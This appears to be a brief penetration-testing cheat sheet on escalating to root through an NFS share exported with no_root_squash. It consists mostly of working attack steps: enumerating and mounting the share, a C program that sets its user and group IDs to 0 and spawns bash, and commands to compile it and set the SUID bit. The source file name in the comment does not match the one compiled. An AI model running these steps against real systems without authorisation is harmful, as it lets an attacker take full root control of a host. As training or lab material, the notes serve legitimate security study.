- NFS (Network File Sharing) configuration is kept in the
/etc/exports file - This file is created during the NFS server installation and can usually be read by users
cat /etc/exports - If the
no_root_squash option is present on a writable share, we can create an executable with SUID bit set and run it on the target system - By default, NFS will change the root user to
nfsnobody and strip any file from operating with root privileges
showmount -e TARGET_IP to enumerate mountable shares mkdir MOUNTPOINT; sudo mount -o rw TARGET_IP:SHARE MOUNTPOINT to mount unsquashed share - Create the SUID executable:
// rootsh.c
int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
gcc nfs.c -o nfs -w
chmod +s nfs